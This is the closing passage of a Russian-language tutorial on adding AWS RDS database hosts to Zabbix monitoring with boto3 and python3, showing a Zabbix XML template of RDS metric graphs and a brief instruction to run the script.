                    <type>0</type>
                    <item>
                        <host>Template_AWS_RDS</host>
                        <key>RDS.DiskQueueDepth.Average</key>
                    </item>
                </graph_item>
            </graph_items>
        </graph>
        <graph>
            <name>RDS::Latency</name>
            <width>800</width>
            <height>200</height>
            <yaxismin>0.0000</yaxismin>
            <yaxismax>100.0000</yaxismax>
            <show_work_period>1</show_work_period>
            <show_triggers>1</show_triggers>
            <type>0</type>
            <show_legend>1</show_legend>
            <show_3d>0</show_3d>
            <percent_left>0.0000</percent_left>
            <percent_right>0.0000</percent_right>
            <ymin_type_1>1</ymin_type_1>
            <ymax_type_1>0</ymax_type_1>
            <ymin_item_1>0</ymin_item_1>
            <ymax_item_1>0</ymax_item_1>
            <graph_items>
                <graph_item>
                    <sortorder>0</sortorder>
                    <drawtype>5</drawtype>
                    <color>00CC00</color>
                    <yaxisside>1</yaxisside>
                    <calc_fnc>7</calc_fnc>
                    <type>0</type>
                    <item>
                        <host>Template_AWS_RDS</host>
                        <key>RDS.ReadThroughput.Average</key>
                    </item>
                </graph_item>
                <graph_item>
                    <sortorder>1</sortorder>
                    <drawtype>5</drawtype>
                    <color>DDDD00</color>
                    <yaxisside>1</yaxisside>
                    <calc_fnc>7</calc_fnc>
                    <type>0</type>
                    <item>
                        <host>Template_AWS_RDS</host>
                        <key>RDS.WriteThroughput.Average</key>
                    </item>
                </graph_item>
                <graph_item>
                    <sortorder>2</sortorder>
                    <drawtype>0</drawtype>
                    <color>0000DD</color>
                    <yaxisside>0</yaxisside>
                    <calc_fnc>7</calc_fnc>
                    <type>0</type>
                    <item>
                        <host>Template_AWS_RDS</host>
                        <key>RDS.ReadLatency.Average</key>
                    </item>
                </graph_item>
                <graph_item>
                    <sortorder>3</sortorder>
                    <drawtype>0</drawtype>
                    <color>DD0000</color>
                    <yaxisside>0</yaxisside>
                    <calc_fnc>7</calc_fnc>
                    <type>0</type>
                    <item>
                        <host>Template_AWS_RDS</host>
                        <key>RDS.WriteLatency.Average</key>
                    </item>
                </graph_item>
            </graph_items>
        </graph>
        <graph>
            <name>RDS::Network Stats</name>
            <width>800</width>
            <height>200</height>
            <yaxismin>0.0000</yaxismin>
            <yaxismax>100.0000</yaxismax>
            <show_work_period>1</show_work_period>
            <show_triggers>1</show_triggers>
            <type>0</type>
            <show_legend>1</show_legend>
            <show_3d>0</show_3d>
            <percent_left>0.0000</percent_left>
            <percent_right>0.0000</percent_right>
            <ymin_type_1>1</ymin_type_1>
            <ymax_type_1>0</ymax_type_1>
            <ymin_item_1>0</ymin_item_1>
            <ymax_item_1>0</ymax_item_1>
            <graph_items>
                <graph_item>
                    <sortorder>0</sortorder>
                    <drawtype>5</drawtype>
                    <color>0000DD</color>
                    <yaxisside>1</yaxisside>
                    <calc_fnc>7</calc_fnc>
                    <type>0</type>
                    <item>
                        <host>Template_AWS_RDS</host>
                        <key>RDS.NetworkReceiveThroughput.Average</key>
                    </item>
                </graph_item>
                <graph_item>
                    <sortorder>1</sortorder>
                    <drawtype>5</drawtype>
                    <color>00CC00</color>
                    <yaxisside>1</yaxisside>
                    <calc_fnc>7</calc_fnc>
                    <type>0</type>
                    <item>
                        <host>Template_AWS_RDS</host>
                        <key>RDS.NetworkTransmitThroughput.Average</key>
                    </item>
                </graph_item>
            </graph_items>
        </graph>
        <graph>
            <name>RDS::Storage Stats</name>
            <width>800</width>
            <height>200</height>
            <yaxismin>0.0000</yaxismin>
            <yaxismax>100.0000</yaxismax>
            <show_work_period>1</show_work_period>
            <show_triggers>1</show_triggers>
            <type>0</type>
            <show_legend>1</show_legend>
            <show_3d>0</show_3d>
            <percent_left>0.0000</percent_left>
            <percent_right>0.0000</percent_right>
            <ymin_type_1>1</ymin_type_1>
            <ymax_type_1>0</ymax_type_1>
            <ymin_item_1>0</ymin_item_1>
            <ymax_item_1>0</ymax_item_1>
            <graph_items>
                <graph_item>
                    <sortorder>0</sortorder>
                    <drawtype>5</drawtype>
                    <color>0000DD</color>
                    <yaxisside>1</yaxisside>
                    <calc_fnc>7</calc_fnc>
                    <type>0</type>
                    <item>
                        <host>Template_AWS_RDS</host>
                        <key>RDS.BinLogDiskUsage.Average</key>
                    </item>
                </graph_item>
                <graph_item>
                    <sortorder>1</sortorder>
                    <drawtype>5</drawtype>
                    <color>00CC00</color>
                    <yaxisside>1</yaxisside>
                    <calc_fnc>7</calc_fnc>
                    <type>0</type>
                    <item>
                        <host>Template_AWS_RDS</host>
                        <key>RDS.FreeStorageSpace.Minimum</key>
                    </item>
                </graph_item>
            </graph_items>
        </graph>
        <graph>
            <name>RDS::System Stats</name>
            <width>800</width>
            <height>200</height>
            <yaxismin>0.0000</yaxismin>
            <yaxismax>100.0000</yaxismax>
            <show_work_period>1</show_work_period>
            <show_triggers>1</show_triggers>
            <type>0</type>
            <show_legend>1</show_legend>
            <show_3d>0</show_3d>
            <percent_left>0.0000</percent_left>
            <percent_right>0.0000</percent_right>
            <ymin_type_1>1</ymin_type_1>
            <ymax_type_1>0</ymax_type_1>
            <ymin_item_1>0</ymin_item_1>
            <ymax_item_1>0</ymax_item_1>
            <graph_items>
                <graph_item>
                    <sortorder>0</sortorder>
                    <drawtype>5</drawtype>
                    <color>0000EE</color>
                    <yaxisside>1</yaxisside>
                    <calc_fnc>7</calc_fnc>
                    <type>0</type>
                    <item>
                        <host>Template_AWS_RDS</host>
                        <key>RDS.SwapUsage.Average</key>
                    </item>
                </graph_item>
                <graph_item>
                    <sortorder>1</sortorder>
                    <drawtype>5</drawtype>
                    <color>00C800</color>
                    <yaxisside>1</yaxisside>
                    <calc_fnc>7</calc_fnc>
                    <type>0</type>
                    <item>
                        <host>Template_AWS_RDS</host>
                        <key>RDS.FreeableMemory.Minimum</key>
                    </item>
                </graph_item>
                <graph_item>
                    <sortorder>2</sortorder>
                    <drawtype>2</drawtype>
                    <color>EE0000</color>
                    <yaxisside>0</yaxisside>
                    <calc_fnc>7</calc_fnc>
                    <type>0</type>
                    <item>
                        <host>Template_AWS_RDS</host>
                        <key>RDS.CPUUtilization.Average</key>
                    </item>
                </graph_item>
            </graph_items>
        </graph>
    </graphs>
</zabbix_export>

Запускаем скрипт:

# python3 Add_Hosts_from_AWS_RDS_to_Zabbix.py

PS: Не забываем ставить зависимости через pip3.

Вот и все, статья «Добавление RDS хостов в zabbix c использованием boto3 + python3» завершена.